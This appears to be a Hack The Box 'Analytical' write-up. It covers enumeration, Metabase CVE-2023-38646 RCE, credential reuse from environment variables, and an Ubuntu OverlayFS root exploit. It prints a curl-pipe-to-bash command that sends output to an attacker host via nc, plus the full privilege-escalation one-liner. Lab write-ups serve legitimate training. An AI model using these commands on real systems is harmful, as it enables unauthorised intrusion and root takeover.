Nmap Results
# Nmap 7.94SVN scan initiated Fri Feb 9 16:26:18 2024 as: nmap -Pn -p- --min-rate 5000 -A -oN nmap.txt 10.10.11.233
Nmap scan report for analytical.htb (10.10.11.233)
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/9%OT=22%CT=1%CU=39739%PV=Y%DS=2%DC=T%G=Y%TM=65C69
OS:896%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 12.29 ms 10.10.14.1
2 12.33 ms analytical.htb (10.10.11.233)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 9 16:26:46 2024 -- 1 IP address (1 host up) scanned in 27.54 secondsNote the redirect to http://analytical.htb/ specified in the tcp/80 output. Let's go ahead and add that to our /etc/hosts file.
sudo echo '10.10.11.233 analytical.htb' | sudo tee -a /etc/hostsService Enumeration
TCP/80
If we click on Login at the top-right, we can see that it points us to data.analytical.htb. Let's go ahead and add that to our /etc/hosts file as well.
echo '10.10.11.233 data.analytical.htb' | sudo tee -a /etc/hosts
Gobuster Enumeration
Virtual Host Enumeration
gobuster vhost -k --domain analytical.htb --append-domain -u http://10.10.11.233 -w /usr/share/dnsrecon/subdomains-top1mil.txt -t 100 -o vhost.txt --exclude-length 166Found: data.analytical.htb Status: 200 [Size: 77858]Nothing new discovered here
Directory and File Enumeration
gobuster dir -u http://analytical.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-80.txt -t 100/css (Status: 301) [Size: 178] [--> http://analytical.htb/css/]
/images (Status: 301) [Size: 178] [--> http://analytical.htb/images/]
/index.html (Status: 200) [Size: 17169]
/js (Status: 301) [Size: 178] [--> http://analytical.htb/js/]
analytical.htb
gobuster dir -u http://data.analytical.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-80.txt -t 100 --exclude-length 77850-77899/embed (Status: 200) [Size: 78086]
/public (Status: 200) [Size: 78090]Neither of these URLs were useful
Fingerprinting the Server
I was looking through my request history in Burp Suite, inspecting the source code, and I found that on certain requests, the server responds with some embedded JSON in <script> tag with an ID of __metabaseBootstrap.
I tried using the search box in Burp for the keyword version and found a potential server version number. Using that version number, it should be possible to cross-reference available CVEs.
Searching for Potential Exploits
This CVE looks very interesting and it impacts the server version on the target! Authentication is not required!
h00die
Public exploit linked in the CVE details contains a Metasploit payload
Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token is accessible even after the setup process has been completed. With this token a user is able to submit the setup functionality to create a new database. When creating a new database, an H2 database string is created with a TRIGGER that allows for code execution. We use a sample database for our connection string to prevent corrupting real databases. Successfully tested against Metabase 0.46.6.
Understanding the Exploit
.png)
Just to recap, to get to this stage, the following was done:
- Obtained the setup token from /api/session/properties
- Found an API endpoint that can be used with this token that validates DB connections
- Found a 0day SQL injection vulnerability in H2 db driver
- Found that we could use zip:/app/metabase.jar!/sample-database.db to prevent the corruption of any databases on disk
So, using the the setup token that should have been wiped from the server after setup, a malicious actor can make a JDBC connection over HTTP to the database running on the Metabase server and achieve remote code execution through SQL injection.
Exploit
git clone https://github.com/securezeron/CVE-2023-38646
cd CVE-2023-38646
python3 -m pip install -r requirements.txt
172.17.0.2/16, which makes it instantly clear that we've almost certainly landed inside of a Docker container.Post-Exploit Enumeration
Operating Environment
OS & Kernel
Linux 42bb10c520dd 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 Linux
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.18.2
PRETTY_NAME="Alpine Linux v3.18"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
Current User
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
sudo: command not found
Users and Groups
Local Users
metabase:x:2000:2000:Linux User,,,:/home/metabase:/bin/ash
Local Groups
metabase:x:2000:metabase
Network Configurations
Network Interfaces
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 1/java
Interesting Files
/.dockerenv
Confirms again that we're almost certainly in a Docker container.
Privilege Escalation
Container Escape
We want to optimize time spent on finding possible Docker container escape methods, so for that, we'll use linpeas.sh.
LinPEAS Enumeration
LinPEAS Data over TCP
No space left on device, which isn't great for storing our linpeas output locally. So, we'll use a workaround by writing the linpeas output over a TCP socket.[kali] <---- GET /linpeas.sh HTTP/1. 1 ---- [target]
| python3 -m http.server 80
|
`----------------------------------------> bash
| |
| `-- linpeas | nc kali_ip 443
| |
| nc -lnvp 443 > peas.txt <----------------------------------'Download and Host LinPEAS on Kali
wget https://github.com/carlospolop/PEASS-ng/releases/download/20240204-ab87b191/linpeas.sh
sudo python3 -m http.server 80
sudo nc -lnvp 443 > peas.txtDownload LinPEAS and Run on Target
curl http://kali_ip/linpeas.sh | bash - 2>&1 | nc kali_ip 443
Lateral to Metabase
I had run the env command before and saw the META_USER and META_PASS environment variables, but didn't initially give them much attention. However, after running linpeas and reaching a dead end, I tried using these credentials to ssh into the target.
META_USER=metalytics
META_PASS=An4lytics_ds20223#ssh metalytics@analytical.htb
Escalate to Root
In my search for privilege escalation to root, I performed my typical post-exploit enumeration and gathered more facts about the system after getting out of the container. I ran linpeas on the host after failing to find anything interesting after some lengthy enumeration.
Finally, I started looking around for kernel exploits. I try to avoid those last, due to the instability they can introduce into the environment, but I was at a dead end.
Our team has discovered significant flaws in Ubuntu's modifications to OverlayFS. These flaws allow the creation of specialized executables, which, upon execution, grant the ability to escalate privileges to root on the affected machine. Linux has a feature called "file capabilities" that grants elevated privileges to executables while they're executed. This feature is reserved for the root user, while lower-privileged users cannot create such files. However, we discovered that it's possible to craft an executable file with “scoped” file capabilities and trick the Ubuntu kernel into copying it to a different location with “unscoped” capabilities, granting anyone who executes it root-like privileges.
And, this page contains a convenient table to enumerate potentially vulnerable Ubuntu kernel versions.
Based on the post-exploit enumeration in our SSH session, we know that this host is vulnerable to this exploit.
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
Flags
User
05d91ce3f487ee74ad87a5767cfeacab
Root
08739c3fe2eecbe42760ed81eca70b7c
